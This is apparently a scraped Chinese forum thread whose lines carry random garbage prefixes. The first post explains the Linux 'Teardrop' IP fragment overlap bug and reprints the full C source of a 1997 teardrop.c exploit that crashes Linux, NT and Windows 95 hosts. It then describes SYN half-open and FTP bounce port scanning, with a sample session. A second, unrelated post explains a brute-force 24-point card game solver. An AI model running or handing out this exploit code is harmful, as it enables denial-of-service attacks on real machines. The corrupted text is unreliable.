5 I3 G$ i- w! \8 c) W1 \0 p3 L3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
7 I2 q7 b( \3 l- w$ K/ O; C: Cfp = qp-&gt;fragments;
9 H  P+ }0 _9 Z) V+ B5 O8 Hwhile(fp != NULL)
' |+ N3 G3 n4 j* l1 i{
; k* ~" _4 p# B. d$ oif(count+fp-&gt;len &gt; skb-&gt;len)- |; P! s; u. N0 Y( J' W- e& }
{
, i7 Q: |1 Y6 _6 A7 Zerror_to_big;
  z/ f* q( {2 U: E9 R( A7 a; z& a}3 n3 Q) q  n! ~0 J4 U1 O+ j& ?) H) x
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
$ Y' }$ V$ N2 H" T0 ?1 Gcount += fp-&gt;len;! G' q) i/ c  E: U
fp = fp-&gt;next;. K# b  o& o2 ~5 s6 n! f& g! d* A
}& j9 ~5 Z3 S2 c3 j+ z! c+ |
这里只检查了长度过大的情况,而没有考虑长度过小的情况,; }  N- o4 ?' W
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
! T) O3 B) N# Fend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的), \7 C. V8 R; |$ n8 b/ ~6 H
是这样处理的:
4 j( x0 ]5 p0 t+ ^+ ?3 [if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
" k# `8 x% A2 W( w5 u! ]7 x% I{
: F, G8 `* ]- Z+ Ki = prev-&gt;end - offset;% q+ G- }" L  E9 l
offset += i; /* ptr into datagram */8 @+ p! m, b4 H' i* y7 T
ptr += i; /* ptr into fragment data */) Z8 ], @  V0 [  X3 T; N" {
}</P><P>/* Fill in the structure. */+ f, R* w; A; s0 a; a
fp-&gt;offset = offset;) c; F% [9 S( w2 x/ l2 G: S
fp-&gt;end = end;
" z' I6 ]1 n' T& pfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
" d+ C% n- b! i2 k  s8 p第一个碎片:mf=1 offset=0 payload=202 w- D- d0 K5 O5 `- {" r
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
& {8 O7 a# I1 L1 V' i1 d- ?- Zoffset=0
& [2 F( @" ^; Q6 q6 M, p* A1 A这样第二个碎片的 end=9+10=19
2 O6 x, J5 L' ]& K3 Koffset=offset+(20-offset)=20: [( [" R0 Z9 z1 f2 M
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
% O  i3 X5 A: N# p/*
5 I4 r) f4 C8 \+ H* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
; Q1 ]  I9 h9 T$ N( R3 \1 J4 d, c*! Z0 ?9 L- ?. ?
* Linux/NT/95 Overlap frag bug exploit9 h9 Y& U/ P6 X6 o9 `* Y, R6 a
*
! ^! i  h! F4 ]/ ]) ^* Exploits the overlapping IP fragment bug present in all Linux kernels and5 v) ]7 J1 k+ s/ ?" B1 R# I# k
* NT 4.0 / Windows 95 (others?)' M4 }9 L: j6 C# f
*
6 q5 C& t* G6 l2 y$ J- G* Based off of: flip.c by klepto
$ M: k$ a! V, n% h( ]% j* Compiles on: Linux, *BSD*$ b+ O8 d3 O# F% X. e% j9 v3 E+ _# M
*
/ \2 t5 o  V4 h* gcc -O2 teardrop.c -o teardrop
# f9 R( t$ R) A* v* OR
6 ^, Y. T" ?# L2 P* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING0 [) d7 U3 ?8 @* f0 X& X
*/</P><P>#include <STDIO.H>& c) l3 }) S: @
#include <STDLIB.H>
3 H& z  B( z' H) K+ _# M#include <UNISTD.H>, T# b3 z1 n1 ]3 i& f& @# K2 f" _+ E) I
#include <STRING.H># c, |  X4 s2 G' F( |9 o
#include <NETDB.H>7 @9 T; T( x3 m) _3 Z' \" S
#include <NETINET in.h>; Q; s9 @' ^& h* ^9 `
#include <NETINET udp.h>& w+ X) l" A7 z! q& h( K
#include <ARPA inet.h>
8 o% b. \, b* ^9 o2 Y* @#include <SYS types.h>. i% a- `( O8 T7 o
#include <SYS time.h>
2 h0 `5 E5 K6 U1 ^% I" M3 {2 E3 h#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
- ~, X, D% F5 O2 K* ?/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */1 Y* C! \9 U" x; V9 ~; i! @2 }
#define FIX(n) (n)2 Q& ~) f  }( a  Q4 v$ W
#else /* OpenBSD 2.1, all Linux */
' r# y. I, E1 i9 ^) C' a#define FIX(n) htons(n)8 T; H, h$ ~7 ~& I1 L$ W
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */2 |# `9 a. x# j; w- A  L0 k
#define IPH 0x14 /* IP header size */
! Z; s2 }: ?) @8 w# X( N0 F#define UDPH 0x8 /* UDP header size */9 U( X0 X5 [& L) G% }1 [, t2 n
#define PADDING 0x1c /* datagram frame padding for first packet */2 O) u# b' P) q; t! K2 Z& f& H
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */0 u% m* k/ h4 ^. y( [
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can6 f: p3 |, i: L9 {, l5 P8 N. \
* withstand maybe 5 or 10 sometimes... Experiment.
9 J; G. i2 G% B. e4 j! R( T*/</P><P>void usage(u_char *);% O! A3 ]) P1 A8 p) k% x) z
u_long name_resolve(u_char *);
( n. l8 L9 Y5 I  Vu_short in_cksum(u_short *, int);
: H! ~7 k! ~8 `& B* ^3 c+ t! N" xvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
  g0 o% S$ a) H5 P0 l5 W{/ F1 ^1 [7 E& }. I
int one = 1, * J8 o* S3 y# N- }9 E
count = 0,
( u4 T" D$ @# ^* Bi, . }) N; J3 g! [- M
rip_sock;
! \' g: f% k- E) d# K$ mu_long src_ip = 0, dst_ip = 0;6 T( s( f' a2 C- ~5 n5 K- n, C* z
u_short src_prt = 0, dst_prt = 0;
7 u6 ?5 e) l  r* h0 i* Wstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
3 [+ x/ V# U4 N7 x& a( s6 vif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
  P2 G# X. k8 A* t; O5 K% t$ L' _- P{
- o0 v4 d) J- {) kperror("raw socket");" N' o* ^% [: j- D* Y8 Y! F( S
exit(1);; ~4 v% L- j0 ?/ p4 ^
}
! Z7 T7 E+ [, E//由系统处理IP校验和。
/ q2 K; H- U1 y3 D' nif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
( y) j- \' M* {) |$ |&lt; 0)
5 L1 M& \7 {5 O' G. }3 v{4 n! b4 _& _! H% F1 {
perror("IP_HDRINCL");
  ]8 s& l  O! `, kexit(1);* f. `( ~# f; G! K$ D' h
}</P><P>if (argc &lt; 3) usage(argv[0]);' ]! @( \/ ?& ~; a
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
- f( `3 B  Q2 f! m5 P{. U: M" L* B& l4 b- }' x6 V, n2 g- a
fprintf(stderr, "What the hell kind of IP address is that?\n");
5 Y- z+ _6 J6 Y: U5 X8 d( P% o, Q3 Rexit(1);
; T7 `, k' ?% V- {}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)# f2 h) e' p. W5 a1 Q( k
{( M' Z2 v8 s' S
switch (i)
, U2 L5 [% m; y) H) H8 B{. b2 m5 N2 _1 Y& D$ D
case 's': /* source port (should be emphemeral) */8 [* v4 ~2 ^( c9 L' M) X3 ^
src_prt = (u_short)atoi(optarg);
  ^9 i9 V) s. n4 k4 I3 Jbreak;7 f; S0 I* u; E/ G1 Z
case 't': /* dest port (DNS, anyone?) */
. O! x# o" M2 Z# Idst_prt = (u_short)atoi(optarg);2 N) A" n4 O4 \) O9 G. n* ~& V- W
break;
9 S1 e7 ~, R" s7 O5 L) Qcase 'n': /* number to send */
8 x  a5 J; g" dcount = atoi(optarg);6 d  l) o- V7 o+ q' k' S/ }
break;
! u! D. o- ~7 Q- vdefault :
3 E$ t4 V. k* X$ k; _1 e9 \usage(argv[0]);, [( w3 M+ g7 U2 ]/ x( @& }
break; /* NOTREACHED */
* p* \% y. y$ t# q}* D( X5 ~7 b9 V, B# E) x
}</P><P>srandom((unsigned)(time((time_t)0)));& Q  U  `- S( w" }
if (!src_prt) src_prt = (random() % 0xffff);
( f* K+ W! n* A9 }. P7 dif (!dst_prt) dst_prt = (random() % 0xffff);9 Q: J# }# m# s/ ^6 w0 @
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");+ _/ `1 H& x3 {4 h* l: x( i
addr.s_addr = src_ip;
* |; G* I# E4 _1 [0 Pfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);$ R. t! Y, t, u
addr.s_addr = dst_ip;! v, r" K) Y# {- l
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);! ^% P. G( c% L! g: @/ d2 p
fprintf(stderr, " Amt: %5d\n", count);6 X& b7 E) F) x% B
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)' }, U9 z+ O1 ~/ X. ~
{
. |1 l9 D9 }# X! c, psend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
% V1 B" y9 G! u1 {) Rfprintf(stderr, "b00m ");2 M1 s2 e& I) x; h: N# q
usleep(500);
3 @- B. B8 d- l}
. V% J0 ~& z# B0 D* Cfprintf(stderr, "]\n");
4 ]0 i; D7 x: A/ Y7 ^; I3 ^return (0);
1 f( w  ~- ?7 i, W}</P><P>/*
8 E6 |" I9 _) A, t8 ]* Send two IP fragments with pathological offsets. We use an implementation
* e0 Y# c) F. ~  N! e# F/ O* independent way of assembling network packets that does not rely on any of
" `& w* n( a5 j* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).7 f+ t2 |3 D  N6 z% ~
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,: I2 E2 `  _" v
u_short dst_prt)
- \2 ?3 c$ ~( E{! g/ h' _& c. I  [$ X) c8 X8 F% I. d
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
% u  i% G0 n: Y  @0 Yu_char byte; /* a byte */
, l- j3 {  J/ E+ @struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;2 u1 n0 ]3 t+ g- k* `% V) e# M" G
sin.sin_port = src_prt;
: m9 X8 n5 d! c+ E# lsin.sin_addr.s_addr = dst_ip;</P><P>/*. t8 ^# W' t) H# t) P# }
* Grab some memory for our packet, align p_ptr to point at the beginning2 N8 u3 H0 l$ B# u) I4 S* E4 P
* of our packet, and then fill it with zeros.0 X# S) o( }3 J% q5 i
*/
5 ~" J9 P; s4 {* t- ppacket = (u_char *)malloc(IPH + UDPH + PADDING);$ ~5 |3 `) X& B1 \
p_ptr = packet;
! L" c% t/ N8 d# @bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */& @+ n" Q  H$ c. l
memcpy(p_ptr, &amp;byte, sizeof(u_char));
$ S! u3 f  a: S7 S, w3 R5 G7 {p_ptr += 2; /* IP TOS (skipped) */1 o1 X% W: D' T& U+ Z' O
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
8 u* h4 s* k; C3 P$ Ip_ptr += 2;' i( `1 U" C' x: N
*((u_short *)p_ptr) = htons(242); /* IP id */1 O) z( z3 O8 n3 l( q5 E
p_ptr += 2;8 r; Z, t. O, p! C; ?
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
& M1 E7 y( A3 u7 y4 Z% v) @3 o! [5 xp_ptr += 2;
( f3 K5 C% ?$ P& n9 w5 C*((u_short *)p_ptr) = 0x40; /* IP TTL */3 Q/ y) O5 w2 n- N9 A+ I- V
byte = IPPROTO_UDP;
) p- n7 C1 x  Y0 Y& H& Rmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
9 W# Z& O: `* P! j* `, A& Yp_ptr += 4; /* IP checksum filled in by kernel */- ]1 A) N! [$ ^' d& T6 K5 [5 Y
*((u_long *)p_ptr) = src_ip; /* IP source address */* T" l( `7 i/ k" D
p_ptr += 4;
4 w. f1 d% w- v0 t4 f*((u_long *)p_ptr) = dst_ip; /* IP destination address */
  G/ B6 q" H: P6 X% G4 @p_ptr += 4;) D3 p% U4 Y3 A3 ~' n, h5 A
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */' `' ]" F, z  ~1 A. f9 t/ K1 P% W
p_ptr += 2;
- C" {" W( X; }' c3 \*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
) M1 Q- v' _; d0 Wp_ptr += 2;; S8 _. s  k; l
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
3 M6 ~5 v- `0 d! l) [1 {sizeof(struct sockaddr)) == -1)
# r" B0 p6 K3 U7 D# S1 s{
) _9 b2 Q5 i- w4 F% [1 C/ vperror("\nsendto");- x% N' v& l" b# a9 D
free(packet);
& s5 Q5 y" Z1 j! h$ _/ hexit(1);
+ C  l" N7 t. {2 K}</P><P>/* We set the fragment offset to be inside of the previous packet's
( u4 ?. p7 R! t2 `% p0 _- A: e- G* payload (it overlaps inside the previous packet) but do not include: F( V( z0 v" M' Y+ b
* enough payload to cover complete the datagram. Just the header will
" _: @! J3 r$ q# f2 z5 k* t* do, but to crash NT/95 machines, a bit larger of packet seems to work2 Y8 ]  D4 a' D3 j% T+ s  |
* better.
4 k1 }+ E0 r- N*/9 Y) X' C  \+ v
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */1 b$ |  w7 Q: d$ ?/ A' n
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);/ s7 U0 D, ~, W6 A$ q% ^- W
p_ptr += 4; /* IP offset is 6 bytes into the header */
, _: ]2 |) W6 j- ^" Y*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
8 v7 U: J* R. Y& Dsizeof(struct sockaddr)) == -1)% i& b  z8 O6 P" d9 x
{! G1 @' K3 x# r/ C0 p7 x- \* F, C
perror("\nsendto");+ M. V  n) p3 y+ V% s
free(packet);/ ]- w7 R' E2 U! E4 {
exit(1);& \3 f% G5 Z7 u8 U: p6 z
}
1 p' h& s$ q4 m4 Afree(packet);
( W. O& F# T: U" T" S: w}</P><P>u_long name_resolve(u_char *host_name)
6 S3 y/ _  a2 X( g. Z{5 W) |0 e; d* ^% }+ |, b5 p. R& B3 n
struct in_addr addr;
% A! p9 g; p4 }; {, estruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)4 S% y/ }; S: C0 {3 S! G1 U
{
8 n; u* k* z4 B1 dif (!(host_ent = gethostbyname(host_name))) return (0);
7 X; L) f: A0 e, ~9 d' e# cbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);9 x8 X9 I; s- L2 t- S9 `" [" M% N
}
2 W4 P, n, ]& ^% T& Dreturn (addr.s_addr);
/ J& L4 k6 ~/ C# p2 Y$ o8 U; W}</P><P>void usage(u_char *name)
/ }6 \" `5 v% L7 N{
8 u7 i# _+ @+ L1 Ufprintf(stderr,) c6 v7 Z! U' A2 I, \8 \/ Y
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
8 O3 C- O: N8 j# Q: Hname);
+ S' M% w1 ?: j9 r- ?exit(0);
) I+ Y% _3 C5 j1 S  u; U+ h* S* U}</P><P>/ g) J; ^$ w/ g7 M) `/ Q4 e
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: ' V0 @; S9 f( t5 ~
(1) Half-open(半打开)% f! i" s- t* s+ D- H
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
) v* i& p/ @& W* d6 ?如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner6 o" s+ Q; D) b# v( ~! S
利用了FTP的port命令,例如可以这样作:* J+ s  C: X: T" d2 [
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
% l% c9 }& P6 E值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则3 F/ z+ d2 n2 S( R
该端口无服务。
0 v1 v- n* `, C/ E2 m9 ctelnet 192.168.1.13 21
# F: j: p; S: O0 dTrying 192.168.1.13..." f4 h. x* c- \8 T
Connected to pp.bricks.org.8 A5 b/ I6 a% n) |
Escape character is '^]'.
3 k: C4 ]) I$ @' f& d, s) l' O220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) + g& w! i# r$ o, j8 a, w
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
- E  z0 [4 p: T% j% s1 k331 Guest login ok, send your complete e-mail address as password.7 K2 M$ p2 n; p! m, t/ [( \
pass aa@aa.aa
8 n) b* }7 ]7 ?* A. V1 s9 ]7 R+ ?230 Guest login ok, access restrictions apply.& y6 E- \$ x' G  U* u
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.2 X+ M0 B; o# J! y
425 Can't build data connection: Connection refused.2 T: m2 ?. n1 J; T
//该端口未活动
3 U$ B5 u! ^) p" j, Y8 m$ z, l150 Opening ASCII mode data connection for file list.5 c. f# Y9 E9 ~* g& W
226 Transfer complete.
8 E: X/ z6 X$ U! N//该端口活动中
. Q+ t* u# A+ U0 F6 _但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
8 d* y+ u2 j% ]! d0 f. L+ WSYN|FIN ACK or SYN|ACK* RST
1 z0 A6 Z. X- s9 _0 BACK Nothing RST
3 |8 H3 {6 x' f+ y0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport+ M. Q; V1 R" B0 |* J
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
7 v: L/ K6 G" n! w' e- _7 G$ U; Q& s若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认4 A6 F* m( A: i; a& K! v  K9 s
定它在向你做portscan。</P><P>notes:" c+ d( t6 n2 d6 x9 l+ x, N
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),; C9 ^4 a2 }  m: a
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的% }0 J8 m# e7 |0 h
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>" b) t1 G6 y# D# A
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
2 q" {# c9 f; x* Y: P2 O+ r! r% L
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
( H& P( J% j* \( b0 V首先穷举的可行性问题。我把表达式如下分成三类——
" p* _: L4 o  R, g. ]: y% J<FONT color=#ff0000>1、 无括号的简单表达式。
0 ]' k: N, S3 H' V% k  Z6 ]2、 有一个括号的简单表达式。
# J( \' I( U# h" y$ ^% v  k3、 有两个括号的较复4、 杂表达式。% y( n* \3 C  Z& r, p' I4 l
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:% V* @* \9 ]# j
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */' N2 x0 h" c4 ^: h7 ?' P$ T/ W
/* c[] 存放四张牌的数组 */+ s% ?2 p  H% V& {; M# G
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
* ^6 B0 o) K) S! `9 E" Y& b, D& f: U用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */1 [+ }, @2 S3 S& u  J* G- b
/* kans[] 暂存生成的排列组合 */, w, w) L' g, R/ e  X) ~8 V7 ~) Z
/* j 嵌套循环的次数 */
/ M9 n* B0 U7 I+ x# cint fans(c,k,ans,kans,j)
7 X! Z8 f" _4 c# iint j,k[],c[];char ans[],kans[];
/ I. T' Q9 l% P! Q9 A1 z9 ]; P* Y{ int i,p,q,r,h,flag,s[4],t[4][4];* a5 I9 v( g5 R
for(p=0,q=0;p&lt;4;p++)
3 u, C& v' B, Q8 M# H- m{ for(r=0,flag=0;r<J;R++)
) s9 _) |+ I' L2 i: M! r3 ~0 @ if(k[p]!=kans[r]) flag++;
4 @  H9 v) ]. Qif(flag==j) t[j][q++]=k[p];4 U5 F- J- R# p  F$ @  K
}1 G/ ^, b1 l5 `; L& A  a
for(s[j]=0;s[j]&lt;4-j;s[j]++)2 V0 j7 h: a1 t% t
{ kans[j]=t[j][s[j]];0 b9 ~: s0 P% K4 R, {3 `
if(j==3) { for(h=0;h&lt;4;h++)
- [' |! T8 F! Z% t7 X+ D$ Vans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
$ A, d& M* e' p3 T" D7 m. W达式中的位置 */+ z! f- m1 p0 y% \: s9 x
for(h=0;h&lt;3;h++)4 A$ Q8 B& P' J/ A& ~' y$ c
symbol(ans,h); /* 在表达式中添加运算符号 */
# T* G$ W( G! p9 r# ~8 z5 w/ v}
+ C" g# X1 P1 F8 v* O# N/ ~9 ~else { j++;, A/ H5 _8 l+ h2 F8 ^4 b/ ]
fans(c,k,ans,kans,j);
6 l/ v. w. y/ B% I$ `! a  r" m; cj--;; B9 j. s, t3 U1 [! m$ F  T& s
}
: R. n6 ~( g: f}9 |% T2 l: v0 n6 G
}</FONT>
6 V+ E) z' @5 _; d9 Z* x' v3 A- I; @9 |$ k) w' H8 \
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
( e5 n0 N/ h8 G* ]( K1 ^' N) g+ b. r$ h9 s2 k
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/: A3 J* C/ T* M8 O, R
int sans(ans,sy,j,h)4 ]1 _/ l) c( _; Y6 J8 J! S! j* h! O2 u
char ans[],sy[];int j,h;9 A) V  A1 Y/ j& u5 _
{ int i,p,k[3],m,n; char ktans[20];
- Q# s$ r/ w* B$ }9 h- {/ _for(k[j]=0;k[j]&lt;4;k[j]++)
+ e* h: N* G, I3 m0 K* L" V8 `  l2 b{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
4 G8 \' q$ K3 H  ?这里的三个运算符号分别存放在1、3、5位*/
* H6 }( f0 I  lif(j==2). k/ v, n3 F( Y  z6 k/ l
{ ans[5]=sy[k[j]];
1 r4 d: [4 X% g/ [  }5 ^' T/* 此处根据不同的表达式形式再进行相应的处理 */
( q+ H/ M* S4 H2 }0 d}5 ?, n, g; ]( \8 }/ [, l1 B
else { j++; sans(ans,sy,j--,h); }
6 `  \  j; C- v5 r: F+ x& q}
) B: `4 q* e; F; U% M; j- L}( p. U# |+ G8 j) [9 u/ I( e
8 w& h% `+ L/ b8 T- k0 V/ B; r1 q# g9 x
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。8 I$ H% U: e) r/ {: y# b3 e" F% U
for(m=0;m&lt;=4;m+=2)
  F' ^0 h6 ^* ]4 l  J0 N7 v0 Efor(n=m+4;n&lt;=8;n+=2)% N4 p% p6 [+ C- O6 }! H; c+ g/ H
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。) _/ S$ X2 d+ A* v

3 m5 X. H; [2 H5 z  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
: i+ B. b- h- ]+ l! R* `</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。* Q+ J! N# d5 B; J
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。2 @$ p. c2 |: G% U

3 Z3 a  v: _) O# {1 ]  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。- k( M3 l+ o4 \! V3 j) S
& O/ Q, o- Y! v, r4 D1 r- z$ ~
  那么作为栈的著名应用,表达式的计算可以有两种方法。
8 x; `, u5 U8 k4 W; G% s! \& o" Y* ]2 ?0 z+ v5 N& @8 a
  <FONT color=#ff0000>第一种方法——</FONT>3 U8 N! U4 ^; A6 d, i2 R
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。( ~  F/ Y. T% _6 r
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:2 U' _; L( }' R6 i! H' z
1、 若W为操作数3 Z& z$ ^1 `' q2 A# K' k4 Q
2、 则将W压入操作数栈OVS6 c1 @8 h5 I0 S6 x) u
3、 且继续扫描下一个字符+ _2 F( M9 K+ _3 I- x+ H
4、 若W为运算符" D- |/ ]' b$ Q  f0 v& M) A
5、 则根据运算符的性质做相应的处理:+ v# t8 w# D* Z, e/ p& o
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
' @: c* Y4 \; N/ v9 M(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
% G0 O% L% R; X(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
' T# P8 E' I$ V1 N(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。9 B9 `0 Z6 q1 [0 O' ~- z0 Z7 k) y

: w: y7 L% A' M<FONT color=#ff0000>  第二种方法——</FONT>
! z; P( K8 A( W1 H! o/ F  {7 B  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
9 I! G$ q% t6 q6 L3 p, N$ N7 k1 C* O  i
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
1 G, B1 {& }* i- T1 z. a4 q" g% q9 Y" u* i* Z) `8 V# }' D
